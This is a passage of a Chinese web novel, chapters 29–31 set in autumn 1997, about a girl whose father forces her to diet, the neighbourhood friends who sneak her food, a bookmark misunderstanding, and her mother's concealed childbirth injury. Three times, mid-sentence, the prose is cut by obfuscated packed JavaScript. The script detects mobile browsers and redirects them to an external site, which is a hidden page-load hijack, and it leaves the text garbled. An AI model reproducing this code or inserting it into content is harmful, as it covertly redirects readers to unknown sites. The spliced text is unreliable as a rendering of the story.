她回到田字巷,把这件事告诉了他妈章阿兰。 “阿姨你一定要好好劝劝他,我看张鑫和他们一起勾肩搭背还抽烟,指不定在里面还干点别的事,万一被人骗了,后果不堪设想!” 章阿兰一边打毛线,一边看电视:“哦,我说什么事儿呢,这我早就知道。” “什么?您早就知道?” “哈哈,你这孩子就不适合演戏,有点心事都在脸上了,第一次给他圆谎我就看出来。”她看起来不以为意,“谢谢你啊慢慢,回头你不用管了。” “那……那叔叔那边?”她又震惊又心虚。 “我自然会找个机会告诉他,放心吧,我自有安排。”说完,她翻出两包跳跳糖递过来,笑眯眯继续打毛线。 看起来是真的没当回事。 既然当事人家长都没说什么,赵迟来也就没再多管。 她带着那两包跳跳糖又坐到前面的茶馆门口。 嘴里嘎嘣嘎嘣作响,饥饿感排山倒海。她听到油烹卷煎的滋滋声,闻到鹅肠粿汁出锅的卤香味,无比想念在渔田村大快朵颐的日子。 “慢慢?” 身后有人叫了她一声。 她回头,是黎阿公:“阿公?你来喝茶吗?” 黎阿公摇头,掂了掂手里的袋子:“我来买点炸酥饺给阿律作夜宵。” “哦哦,那您快去吧,这个吃新鲜的才好。”她深深嗅了一口气,从黄澄澄的炸饺上收回视线,继续吃糖。 黎阿公却没走。 看了眼手里的袋子,上前打开:“要不要来点?” 赵迟来立刻摆手:“我不吃,我减肥呢。” 他哦了一声,在她身边坐下,换了个说法:“那你帮阿公一个忙,帮我把这些吃了?” “啊?” “酥饺要趁热吃,可阿律还不晓得什么时候回来,等他回来早就不好吃了,你也知道阿公牙口不好,不爱吃这个。可不是帮阿公一个忙吗?” “可是……”她舔了舔嘴巴,很想拒绝,但那股油香味已经顺着视线钻进她的脑子里。 “没什么可是,就算你爸问起来我也是这么说!”他拍胸保证。 “真的吗?那我就不客气了!”她本就不坚定的心防瞬间就崩得一干二净,抓起一个就塞进嘴里。 “唔唔……好吃!” 久违的满足感一入口就化成了喟叹。 “好吃你就多吃点,不够阿公再给你买啊。”黎阿公仔细托着袋子,看着她吃。 赵迟来真是饿惨了,十多个囫囵就咽进嘴里,但不妨碍她抽空把赵庆国数落了一遍。吃到最后一个,她有点舍不得,小小咬了一口。 不等仔细嚼呢,就听一个熟悉的男声从远处叫道:“慢慢——” 背后说人本就心虚,她还破戒,当即吓了一跳,整个饺子一口塞进嘴里。黎阿公也手忙脚乱把袋子藏起来。 两人抬头,结果根本不是赵庆国,而是许久未见的陈抑休。 “嗐,你这孩子把人吓一跳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15347109|166523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”阿公松了口气。 赵迟来一口饺子哽在嘴里,吞也吞不下,吐也吐不出,脖子憋得通红。 陈抑休从包里翻出一瓶水,问怎么回事。 赵迟来兀自平复,黎阿公三言两句把事情说清楚,最后让他不要声张。 陈抑休老老实实说了声好。 阿公先走一步。 回去路上赵迟来问他:“他们放你出来了?是项目做完了吗?” 他点点头:“差不多了,应该能赶上,剩下一些扫尾工作。”顿了顿他反应过来,“你去找过我了?” 赵迟来如实把之前意图找他抄作业的事说了,他立刻问:“那你现在还需要吗?我之后都有空。” 她摇摇头:“我问黎明律就好了,他讲的也挺仔细的,你刚刚忙完最近就好好休息,等之后……” 他打断:“我不困。” “……啊?” “你来找我吧慢慢,我不困,尤其是和你讲题的时候。” “尤其?”她疑惑。 “对,”他直言,“可能是太简单了,跟你讲题根本就不用动脑子,我甚至觉得很放松。” 哧。 赵迟来仿佛听见箭头没入胸口的声音。 她抽了抽嘴角,微笑:“一休哥,平时走夜路的时候一定要小心点啊。” “嗯?”他不知道她为什么突然说起这个。 “以免被某些素质不高的人渣当成放松的方式给捶了。”扔下这话她就轻哼一声走了。 陈抑休在原地反应了一会儿,突然连上那根筋—— “不是慢慢!我不是说你不好的意思!” 她当然没去找陈抑休。 照常来找黎明律的时候,她还带着气,把陈抑休对她的“羞辱”添油加醋吐槽了一番。 黎明律听完轻笑了一声。 赵迟来一下更毛了:“你笑什么?” “没什么。” 他瞬间收敛,打开练习题。 “黎明律,”她拍下手里的笔,质问,“你该不会也是这么想的吧?” “没有。”他坚定摇头,“我觉得可伤脑筋了,讲得十分辛苦。” “你发誓?” “我发誓。” 他举起两根手指,眼神没有一丝玩笑。 赵迟来盯他半天才转回来:“姑且信你一回,开始吧。” 过了两道题,他说起其他事缓解气氛:“听阿公说你爸最近管你管很死?” “嗯,非让我减肥。” “一点油荤不让吃?” “除了他做的,一律不准吃。”说起这个她就头痛。 “哦。”黎明律沉默片刻,提议,“我这儿还有牛排你吃不吃?” “你故意的吧!我都说了不能吃!”她烦死了。 “牛排都是瘦肉,吃了也不胖人,怎么不能吃了?”他正色辩驳,“再说你天天这么大运动量,就吃点草肯定不够的,万一把身体熬坏了……” 他点到为止,赵迟来却好像随着这话看见自己骨瘦如柴还得举杠铃的凄惨画面。 她摇了摇头,深吸一口气,决定背叛自己的父亲:“那你去做吧,不准说出去啊!” “不说。”黎明律倏然起身,“那你等会儿。” 于是等到离开时,赵迟来不仅脑子里的收获满满,肚子里的热量也满满。回来举杠铃的时候都格外有力气,把赵庆国高兴得不轻。 “很好,继续保持!” 他拿出称,示意赵迟来过来,“给你妈验收一下阶段成果,看看最近降了多少?” 这话一出,赵迟来只觉得体内奔腾的血液瞬间凝固。 29. 1997年秋 29 指针噌然越过66,又晃晃悠悠往回走。 三张脸小心谨慎地悬在指针上方,一眨不眨盯着走势。 赵迟来屏息,眼看着针尖回到66之内,轻轻松了口气。 还好还好,至少没胖。 “怎么才掉这么点?” 赵庆国对这个结果显然不满意。 “我,我也不知道……你要我做的训练我都有好好做完的。”至于其他的,没问就是没做嘛。 “嗯……”梁惠摸了摸下巴,“都说病来如山倒病去如抽丝,看来减肥也是一样的道理。” 赵庆国似乎被说服了,到嘴的话咽回去:“好吧,可能是我太着急了,过段时间再看看。” “好的好的!” “但称还是得隔天上一次。” “……” 好难受,这心情比过年的猪还难受。 第二天晚上,赵迟来照常去隔壁找黎明律,刚出来就遇上正好出来丢垃圾的陈抑休。 “晚上好一休哥。”她叫了一声继续走。 “你去找阿律做题吗?”他好奇。 “对啊。” “你找我就行啊,正好没事。” “……然后拿我消遣是吧?”她眯眼。 “不是不是,我……”他哽咽了一下,避开这个话题,“我叫了披萨,正好和你一起吃。” 刚刚丢掉的垃圾里确实有个方形纸盒,赵迟来抿唇思考了两秒,回头看了一眼,悄悄比嘴让他安静退回去。 随后自己也溜进来。 “行了,带路吧。” 她关上院门,叉腰回头,“我可不是为了吃你的披萨才来的。” 两分钟后。 “真香。” 赵迟来咬下一大口,晃手断丝。 陈抑休比对左右两块,选了芝士更少饼皮更厚的那一边,咬下一口。“我也觉得挺香的,你要是喜欢,下次我多买几个叫大家一块吃。” “可以啊。” 她还记得自己来干嘛的,翻开一本练习册,发现是语文又给盖回去。 “没关系,就从这个开始。”陈抑休拦住,重新翻开。 “这可是语文诶,咱直接过数学吧。” “我也跟你一起学学。” 赵迟来有点狐疑,但也没有继续坚持。 她一边做陈抑休就在一边看,偶尔问个一两句,极大地满足了她好为人师的虚荣心,但偶尔她也会从他的疑惑里发现一些灵感或者问题,及时修改答案。 最后的自测分居然比和黎明律一起时差不了多少。 “……” 她一开始怀疑,陈抑休背着她上补习班了。转过头又想,就不能是她自己进展迅速,带飞陈抑休吗? 嗯,肯定是这样! “你明天还来吗?” 收拾东西的时候,陈抑休问。 “来!”赵迟来一口应下,“和你一起学习果然最开心了!” “是吗?”他给自己倒茶。 每次结束补习的时候,他都习惯喝点茶。 “当然啊!”赵迟来斩钉截铁。 出来的时候,她隐约觉得自己忘了个什么事儿,但没等想清楚就被赵庆国抓了壮丁。 这样过了几天,在某个周五下午放学的时候,黎明律过来了。 他一般很少过来,过来也是找张鑫有事。这次果然也不例外。 “你的游戏卡。”他递给张鑫一个卡带。 “哦,你放那儿就好了,还特意给我送过来。”张鑫随手塞进书包里,回头催赵迟来和文思泉。 今天巷子里有户邻居家小孩要“出花园”。 这是花城周边本地独有的成人礼,所有15岁的男女孩子都会经历,通常会宴请周围的邻里观礼。 一早家里就各自交代他们,下了学一起过去吃饭。 “来了!” 赵迟来快步跑出来,和黎明律打招呼,“黎明律。” 他轻轻扫了她一眼,继续和张鑫说话,边说边走。 “……?” 赵迟来莫名其妙接收到一股子不太爽的气息,但回想一下,又找不到最近得罪他的理由。前几天写作业不还好好的呢? “走吧慢慢!”文思泉很快也出来,拉着她快步跟上前面的两人。 赵迟来有意和莫名其妙的人保持距离,但时不时被文思泉拉扯催促两下,根本拉不开距离。 一个趔趄之后,她被推到黎明律旁边。黎明律侧头看了她一眼,很快收回去。 她受不了这种有话不直说的眼神,主动问道:“我最近没惹你吧?” 他淡淡回:“没有啊。” 她无语:“那你这副欠揍的样子给谁看啊?” 黎明律沉默了片刻,转移话题:“你这几天怎么没来?” “什么?”赵迟来反应了一会儿才明白他说的是补习这回事,“哦,我这几天都去了一休哥那了啊,他现在有空了,还没收我钱。” 他神色复杂:“我难道收你钱了?” “不是,我是说他现在没收了……以前都收的。”她耐着性子解释,把以前贿赂一休哥抄作业的事情随口讲了一遍。 “什么?你居然还干过这种事?”张鑫惊呼。 “对,对啊……” “你说多少钱一个小时来着?”文思泉也很吃惊。 “一,一块啊,两块钱起步价。”她懵懵的。 “我的天哪!你这也太看不起一休哥了吧!一块钱一个小时他居然也接?” “我记得,旁边的羽毛球馆今年都涨到3块钱一个小时了吧?”文思泉和张鑫百思不得其解,两人一起吐槽陈抑休是穷疯了。 “不是……” 赵迟来有点不好意思,解释说一开始就是一块,只是这些年没有涨价而已。 早些年一块钱还是很贵的。张文两人沉默了一会儿,改口:“那不是狮子大开口吗?果然还是穷疯了!” 赵迟来:“……” 唯有黎明律没有加入这场讨论,他似乎在想什么伤脑筋的事情,眉头一直到观礼的时候都没有松开。 他们都是土生土长的花城人,对于出花园的仪式并不陌生。做完问卜占卦,沐浴更衣,拜祭过公婆神,到了吃头彩食的时候,他们几个熟门熟路去坐小孩儿那桌。 赵迟来捅了捅盯着对面出神的黎明律:“想什么呢?吃饭了。” “没事。”他回神。 赵迟来往他发呆的地方看了眼,什么也没有,只有个正在吃粿的陈抑休。 今天出花园的孩子是主位,热情招待他们多吃。赵庆国从隔壁频频回头,看着一桌子琳琅满目的饭菜欲言又止。 眼看他要起身,章阿兰又给他拽回去。“该装傻的时候就装傻,你也不能让孩子在这种日子吃光饭吧?” 其他人也跟着附和,赵庆国遂作罢。 赵迟来不知道个中细节,只看见她爸中途放弃,屁股终于安心坐实。 “放心吧,有我妈在你爸不会过来。”张鑫给她夹了一块扣肉,眨眼示意她快吃。 “哦?这么肯定?”她一口塞嘴里。 “我妈我当然知道!吃啊大家……”他招呼起来。 “慢慢你吃这个,这个好吃!”文思泉也给她夹了一筷子脆肚。 “还有这个,这个!”陈抑休的鸡腿紧随其后。 旁边的黎明律夹起一块咸牛奶,悬停片刻,夹进自己碗里。 因为这一顿放纵,之后赵迟来被迫素了好几天。但不要紧,她自有地方可以打牙祭。 每天晚上都借写作业的由头,轮流去其他人家里蹭夜宵。 今天晚上何温婉就给俩人炖了杜龙汤。 新鲜的杜龙洗干净,切成段,放入不少黄豆作配,肉骨软烂分离,喝到嘴里隐约还能闻到淡淡的药香。 “好喝!” 赵迟来竖起大拇指。 “喜欢喝就多喝点,下回喝也不晓得是什么时候了。”她说完这话就返回厨房去擦灶台。 “……” 赵迟来凝噎片刻,眼神询问旁边的文思泉。 文思泉不说话,只是喝汤。 她就懂了,何温婉这是还想着要离婚。只是文思泉的态度,却有点让她看不懂。 换位思考一下,如果赵庆国做出这种对不起梁惠的事,她一定二话不说把他一拳干回重庆去。 看文思泉闷声不语的样子,怎么好像并不是很支持? 回到家里,她还在想这个事儿。 跳绳的时候忍不住打了个饱嗝儿,赵庆国恰好从她面前路过,下意识回头嗅了嗅。 “嗯?怎么了爸?”她回神,不晓得他这是在干嘛。 “……没事,你继续。”赵庆国什么也没说,又接着走了。 睡前称重的时候,赵迟来特意去了趟厕所,把肚子排得干干净净。结果还是没能拦住指针越过66,甚至隐隐有往67去的趋势。 “不应该啊,怎么还胖了?”梁惠刷牙路过看了一眼,百思不得其解。 赵庆国沉默,赵迟来忐忑。 但过了一会儿,他就笑开了:“哈哈,可能是反弹了,我听说减得太着急确实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15351936|166523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容易反弹,看来还是不能操之过急。” 赵迟来松了口气。 心里又庆幸又自责,下定决心明天不能再吃了。 到了第二天晚上,陈抑休邀请大家一起来吃披萨的时候,她立刻把前一天的痛定思痛忘得一干二净。 “这个这个,这个菠萝味的给我再来一块!”她指挥张鑫递过来。 张鑫自己顾自己都难呢,还是文思泉帮拿的。 她嘴里吃着一块,手里拿着一块,眼睛已经看上了下一块:“还有唔,还有那个……” 两只手同时伸向最后一块烤鸡披萨,陈抑休和黎明律对视一眼,都从对方眼里看出相同的意外。 “给慢慢留着,你忍一忍。”最后还是陈抑休狠心拿走。 “……”黎明律什么也没说。 他回身,隐约听见一阵指骨收紧时发出的咯噔声,疑惑看向窗外:“你们听见了吗?” “什么?” “窗外好像有人。” “我去你别说这种恐怖故事!”张鑫立刻蹦起来躲到赵迟来身后。 异响还在继续。 混着干燥的秋夜蝉鸣格外诡异。 几个人都有了点不同程度的瑟缩。 关键时刻,黎明律果断起身。 他来到窗边,犹豫片刻一把扯开没拉紧的窗帘,窗户上赫然贴着一张黑脸—— 一张因为咬牙切齿而异常狰狞的中年男人的脸。 “啊——” “什么东西!” “退退退!” 大家不约而同吓了一跳。 离得最近的黎明律率先冷静,尴尬转头:“是赵叔。” 两分钟后。 几个人排排在赵家沙发上坐得整整齐齐,噤若寒蝉。 赵迟来则扛着一对杠铃在院子里步履蹒跚。 “嗯……嘿!” “你们几个……” 赵庆国抬手,从左边第一个点到右边第一个,又点回来,措辞半天没有一句完整的话,最后似乎是气笑了,大喝一声:“以后没我的允许,不准和赵慢来往!” 张鑫首当其冲被喷了一脸,壮着胆子:“叔,你这……你这是不是太过头了?我们不过是给慢慢喂了顿吃的……” 赵庆国沉脸打断:“只有一顿?到底有几顿你们心里清楚,要我一天天往前翻吗?” “……” 他缩了缩脖子,立刻不说话了。 “对不起叔叔。”文思泉第二个滑跪。 “对不起?然后下次还敢是吧?”赵庆国冷哼。 “对不起叔叔,下次不敢了。”陈抑休补上。 张鑫立刻跟着重复了一遍。 赵庆国随即看向最后一个。 黎明律先是说了句对不起,但是紧随其后:“慢慢如果再遇上想不通的难题,总得有人给她点头绪,对吧?” “你小子想说什么?” “我想说,不如把做题的地点换到这里来,在您眼皮子底下,我们肯定什么也做不了,您说呢?”他诚恳建议。 “……”赵庆国并没有一口拒绝,是看见在旁边嗑瓜子的梁惠点了个头,脸色才松快两分。 “有点道理,但你们都得先停职观察一个星期,真有必要,我再考虑!” “都听您的。”黎明律顺着往下说,其他人也没有异议。 “那就这样,散伙!”赵庆国迫不及待赶人。 临走的时候,大家都看着满头大汗的赵迟来欲言又止。 黎明律突然想到什么,回头和赵庆国商量:“对了叔,我那儿还有几本复习笔记,是这几天针对慢慢的问题新给她整理的,您要是不介意,我明天带过来?” “可以可以!那可太辛苦你了,明天早点来顺便吃个饭!”赵庆国还没说话,梁惠已经答应了。 几人回到家里,各自松了口气,然后十分默契地开始翻找起自己的笔记,翻出一叠赵迟来能用上的,放到一边。 黎明律整理好明天要用的笔记本,转身离开,意外扫落桌角的一本旧笔记。 “啪嗒”一声本子摔出去一大截,两张小卡片也从里面飞出来。 他从来没有做小抄的习惯。 疑惑捡起其中一张,发现是书签。 彩虹色的磨砂卡片质感温润,颜色十分好看。衬得上面一行歪歪扭扭的小字有几分滑稽。 但他的注意显然不在字迹上,视线刚落到第一个句点,瞳孔蓦然紧缩。 【你真好,我真爱你。可惜我不是诗人,说不出更动听的话了。】 明显……是赵迟来。 30. 1997年秋 30 “你好,来本花火。” 10月中的花城,依旧残留着夏日的余火。书报摊角落的冰糕已经挂上了“打折”的立牌,从一块一支,到五毛一支,再到一块三支。 赵迟来四处观望,确定没有赵庆国的影子,一把接过袋子就塞进书包里。 她翻出一把皱巴巴的五毛一块,对上书摊正中间的一摞杂志,封面大字十分扎眼:大陆首骗牟其中! 牟其中她听过。 就是那个“罐头换飞机”的大陆首富。什么时候变成骗子了? 她心生好奇,拿起来翻了翻。 里面详细描写了牟其中从首富到首骗的过程,如何满嘴跑火车把中央和地方骗得团团转。 比如去年他提到的一个投资点子:把喜马拉雅山脉炸开一个宽五十公里深两千多米的贯穿口,这样印度洋的暖湿气流就能吹入干旱的西北地区,使之变成降雨区,改善气候大力发展种植业。 再比如,他将投入一亿美元送卫星上天,投资两亿改造三家国企……诸如此类天马行空的主意看起来还挺引人入胜。 她顺手带了一本回去继续看,到晚上将要做题的时候才停下。 打开抽屉,没有摸到熟悉的书签,她颇为纳闷的“咦”了一声,猜测是自己又胡乱塞到哪儿了,找了一会儿没找到很快放弃,随便找到一把尺夹进去。 学到一半,肚子咕噜咕噜叫起来。 她揉了揉,并没有其他动静。自从前几天被赵庆国抓包之后,她就没敢再顶风作案。 “慢慢,出来一趟!” 梁惠从外头叫她。 “哦来了!”她以为又是检查作业之类,抱着测试卷出来却见张鑫他爸坐在客厅里。 “张叔?来找我爸啊?他今天晚课还没回。”国庆假期,兴趣补习班正是繁忙的时候。 “今天不找你爸,叔叔找你。” “找我?”她一愣,下意识想到张鑫在外面鬼混的事情,怀疑他是想找自己打探消息,但该说的之前都已经告诉过章阿姨了,还来找她是怎么个意思呢? “阿惠啊,我有点事要问慢慢,带她出去一趟很快回来,没事吧?”他问。 这话坚定了赵迟来的猜测。 她仔细回想了一遍当日的情况,打算只等他一开口,就和盘托出。但奇怪的是,张叔只是把她带到一家糖水铺,问她想吃什么想喝什么,他今天全都满足,丝毫不问张鑫的事。 赵迟来疑惑:“叔,您有什么话直说吧,不用这么破费我也会说的。” 他笑了一声:“你就吃吧,叔叔今天不是来审讯你的,就是单纯请你吃东西。” “啊?为什么?” “我都听说了,你最近读书很用功,连带着张鑫泡在图书馆的时候也多了不少,叔叔很感激,没什么其他能给的,但背着你爸请你吃顿好的还是不算难。”看样子他对赵庆国之前的雷霆小怒也有所耳闻。 “哦,原来是这样。”她点点头,“谢谢叔叔,但东西我就不吃了,我减肥呢。” 他只字不提张鑫鬼混的事,赵迟来摸不准他是真不知道还是在考验她。上回章阿姨明明说会转告他的,怎么如今看起来好像还什么都不知道? 犹豫了一会儿,她还是没有主动交代。 既然章阿姨说她自有安排,她就继续当不知道。 张叔以为她不好意思,接过菜单自己点了,又从隔壁买了一些其他小吃,一起打包让她带回去。 她拒绝无果,只能带回来,想着爸妈能吃。 回到田字巷时,正好碰见下课的赵庆国,他远远就看见她手里的打包盒,像个支棱起来的公鸡瞬间斗志昂扬—— “赵慢!我看你是皮又痒了!” 她赶紧把刚才的事解释给他听,但他似乎被骗出了抗体,压根不信,抢过她手里的袋子就把跳绳塞过来。 “……” 那种很难过又很难说的感觉又来了。 梁惠是知道实情的,帮着解释了两句,但赵庆国还是没信。 眼见赵迟来垂头丧耳,跳出一股子死意,她也翻了一根绳出来和她一起跳。 “你爸也是上次弄怕了,这次才这么严厉,等你减下来也就好了。”她宽慰道。 “我知道。”就是挺无奈的。 “你要觉得不开心,妈陪你一起减。”梁惠试探着跳了两个,“其他的我弄不来,跳绳还是可以的。” 随着动作开始熟练,她的速度也越来越快,甚至挽了个花。 “呜!妈你还会跳花式?”赵迟来震惊。 “一点点,好多年没跳过,差点没想起……”她话说到一半脸色突然大变,皱着眉眼底隐约有两分不可置信。 跳绳停下来,赵迟来疑惑:“怎么了妈?怎么不跳了?” “没事,我休息会儿。” 梁惠摆了摆手没再跳,转身似乎想离开,看了赵迟来一眼又收回来一些,以一种极为僵硬的姿势坐到最近的凉椅上。 “哦。” 赵迟来略感奇怪,但又看不懂哪里奇怪,只能自己继续。 没过一会儿,赵庆国出来倒垃圾,回去的时候顺路把梁惠也扶走了。 赵迟来跳完两百个停下休息喝水,梁惠已经不在原地,凳子上只留有一片洇湿的水迹。 她以为是梁惠喝水不小心洒漏的,抽纸擦了擦,结果刚蹲下来,隐约闻到一股馊味,似乎就来自面前的水渍。 她蹙眉,表情疑惑。 过了一会儿心里蓦然跳出一个离谱的猜测,看着梁惠所在房间的方向面露震惊。 赵迟来怀疑梁惠有什么事瞒着她,或许赵庆国也不知道。 但她却没办法和其他人说。 周五下午放学,她有气无力往巷子里走。即将分开时张鑫嘘了一声:“稀奇啊,最近难得看你不直接去大清北。” “打球呢,你来不来?”她摇头。 “嘿嘿,我也得去打球,下次一定啊!”他挥挥手走了。 继续往里走,直接去羽毛球馆,这会儿赵庆国应该已经在等着。 门口的金属立牌前站了一个人。 “黎明律?你今天也来打球吗?”他正看着立牌上的场馆报价。 “嗯?”他似乎在想事,回头的那一刻还没有回神,眨了眨眼看清赵迟来的脸,下意识往回收,“不是,在等你。” “等我?做什么?” “你……你是不是有什么东西落我这了?”他并没有直面她,一副赶时间随时都得走的样子。 “有吗?”赵迟来仔细回想,“没有吧。” “书,书签之类的。”他提醒。 “哦——” 赵迟来想起来,前段时间她确实写过一批书签,最近还说怎么不见了,原来在他那儿?应该是之前还笔记忘拿出来了。 “对,是我的!” “那,”他斟酌,“要还给你吗?” “不用!”她大手一挥,“这种东西我有的是,送给你就送给你了,你爱用用不爱用丢了也行!” “我不丢。”他立刻回复,顿了顿又补充,“我是说,暂时先不丢……等,等过完年,我再给你,给你答复。” “……啊?”不就是几个书签吗?要给什么答复?赵迟来百思不得其解。 但看他一脸谨慎,又怀疑自己是不是有哪儿没听懂。默了默,她直言不讳:“没太听懂。” 黎明律吸了口气,终于正过来一些。 “我没想到你也……虽然我们……但还是不能太着急,这种事情最好还是等到满18岁之后……更何况你现在分身乏术,太明显叔叔阿姨也会有顾虑……总之,年后再说,你……懂我意思吗?” 一段话说得断断续续遮遮掩掩,看起来简直就像在男科医院门诊大厅遇上了熟人一样! “……” 他好像说的是人话吧? 拆开每个字都听得懂,但合起来怎么就这么难理解呢? 要不再听听? 这家伙每次都喜欢说点让人摸不着头脑的废话打头阵,重点一般都会留在最后。 “嗯嗯,你继续。” 黎明律微微一顿,仿佛她不该是这种反应。但他终于没再说什么似是而非的话:“我明天有个球赛,你要来看吗?” 到这里赵迟来终于恍然大悟哦了一声:“就这个事儿啊,你早说啊!”她仔细回想了一下明天的安排,直拒了,“好像不行诶,我明天上午练拳下午刷题晚上加练,实在抽不出空,但我精 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15368715|166523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神上支持你!加油!” “……” 黎明律眼里的光肉眼可见熄灭了,脸上的疑惑更甚。 “哎不和你说了,晚了我爸又得捶我!”她看了眼场馆入口的旋转玻璃门,没再和他瞎聊一溜烟跑了。 赵庆国果然已经等不住,半路就碰见他往外瞄,张嘴问她是不是偷偷去三岔口了,赵迟来好一顿解释,是把门口还没走的黎明律指给他看,才打消他的疑虑。 两人照常练习了一个多小时。 回到休息区喝茶的时候,赵迟来又想起这几天一直困扰她的问题:“爸,我妈是不是生病了?你有察觉吗?” 赵庆国立刻放下茶杯,略显紧张:“什么情况?你妈怎么了?” 赵迟来酝酿片刻,还是把那天的情况和他说了:“那凳子上的好像不是水,是……是尿。” 她有点难为情。 倒不是觉得说屎尿屁不自在,而是觉得说出梁惠的“秘密”不自在。梁惠不说当然是因为不想说,就像她一直隐瞒自己也是沙发一样。 但身体健康和外在皮囊并不是一回事,赵迟来做不到假装毫不知情,她担心梁惠因为一时的脸皮错过治疗的良机,所以忍不住和赵庆国坦白。 她以为这种事情,梁惠应该也不会告诉赵庆国,但没想到他听完脸上一点意外也没有,反而松了口气:“你说这个啊……不是什么最近的急症,好多年了。” 赵迟来大吃一惊:“你是说我妈失……好多年了?什么时候的事?” “就是生完你之后落下的毛病,十多年了。”赵庆国叹了口气,“你妈一直觉得你还小,和你说这些不合时宜,让我别告诉你,没想到你还是自己发现了。” 赵迟来追问。 他三言两语解释清楚,说梁惠当时生她的时候很凶险,拖了整整两天她才落地,差点难产。尽管他和阿嬷仔仔细细照顾了大半年,但过后梁惠还是留下子宫脱垂的后遗症。 漏尿失禁这些甚至都是小问题,腰痛便秘感染更是常有的事。 赵庆国丝毫没有因为是爸爸就回避和赵迟来谈起这件事,相反,他很郑重,而且欣慰道:“我们慢慢真是长大了,像个大人一样思考妈妈的感受,我晚上告诉你妈一声,更详细的情况让她自己告诉你。” 赵迟来脸上一热:“没有啦,是我以前……太不懂事了。不过告诉妈妈是不是就没必要了?她应该不想我知道?” “怎么会?她可是你妈,这世上和你最亲近最不应该有秘密的人。”他慢声道,“慢慢也是女孩子,总得知道这些关于你身体的秘密。” “有道理。”赵迟来点点头。 “更何况,你妈指不定多高兴你去问她,好让你知道她生你有多辛苦!” “啊?”她不信。 赵庆国的往期案例张口就来:“比如你刚出生那会儿,她心里气不过每天一睁眼就开始问你这世上最辛苦的人是谁,你不说话,你那时候当然说不了话,她就一遍一遍自问自答当然是妈妈,当然是妈妈,以后要好好读书回报妈妈,这样给你洗脑像复读机一样……” 他说着说着噗嗤一声自己笑起来,但嘴上没停,又继续举第二个例子,直把自己说得哈哈大笑。 赵迟来听着却笑不出来。 她想起了阿嬷。阿嬷也总是这样,笑呵呵的说出一些过滤掉疼痛和眼泪的过往。 明明事实远比轻描淡写的几句笑话严重得多,却因为过去的已经过去,既定的事实无法更改,就用轻松诙谐的语气来粉饰满是伤痛的外壳。 这样的乐观哲学她暂时还无法理解。 但她也不理解梁惠的回避哲学。 她觉得痛就是痛,苦就是苦,没必要因为所谓的不合时宜,不合身份,不合这个不合那个就遮遮掩掩,独自承受。 就算亲母子,也不可能天生就像抄作业的双排笔一样,前后传导得一模一样。 因为接收器的方向稍有差别,即便同一条街的卫星电视也会有信号差异,如果还隔着一次又一次的错误调试和反向努力,只会更加不同频。 最后失之毫厘,差之千里。 或许她这个想法也不太对。 但改变那也是以后的事了,现在她只想做奉行“有一说一哲学”的自己。 31. 1997年秋 31 赵迟来晚上回来得很晚。 这是和赵庆国过了明路的,她说自己要去买点东西,他二话不说就答应了,还给了她二十块钱。 她用这二十块钱买了一把很好看的木梳,让店员当作礼盒包装起来。 “我知道,找个机会和她说……” “你一个男的就别管了,我心里有数。” 将近凌晨的时候,梁惠和去接她的赵庆国一起回来,进屋见赵迟来还在沙发上抠脚,微微一愣:“怎么还没去睡?就算是周末也不能熬太晚,妈妈怎么跟你说的?” “嘿嘿,我知道,马上就去,这不等你吗?”她腼腆笑笑。 “你又长胖了?”梁惠上下打量她两眼。 “没有的事!瘦了两斤呢!”她立刻挺了挺腰。 为避免梁惠再说出什么过分的话,赵迟来也不再迂回,拿出准备好的礼盒奉到她面前。 “送给你妈妈,给你拜个早年。” “……” 梁惠迟疑了片刻,开始撸袖子,“你是又闯什么祸了赵慢?有事说事别来这套啊!” “不是不是,我没闯祸!”赵迟来冤枉得很,“就是单纯送你个礼物,这都不行吗?” “无事献殷勤,我信你有鬼啊!”梁惠说着手指已经拧上来。 “啊——” 赵迟来觉得挺多余的。 她翻了个身,又在脑子里把自己扇了一顿,下定决心以后不再干这种讨好梁惠的事。 今天这回也最好烂在肚子里。 “慢慢?你睡了吗?” 门外响起梁惠的轻声询问,她没理。 过了没一会儿房门直接打开了,梁惠坐来床边,拍了拍她的胳膊。 “慢慢呐,我都听你爸说了,是……是妈误会你了,你别跟妈妈计较行不行?”听起来有点不好意思。 但有什么用? 赵迟来轻哼了一声,从她手下挪出来。 “哎呀慢慢,”梁惠追过来,“妈妈这不是太意外了吗?之前也没有这样的事,误会也是人之常情吧?” “这么说,你是嫌我以前不懂事了?”她忍不住转头。 “……”梁惠眨了眨眼,“妈妈不是这个意思。” “但我听起来就是这个意思!” “妈妈……哎呀我真不是这个意思,你知道的,我要是嫌弃你,说的只会比这个更难听!”她口不择言。 但赵迟来还真仔细思考了一会儿,然后点点头:“也对。”一副对她的战斗力熟悉至极的样子。 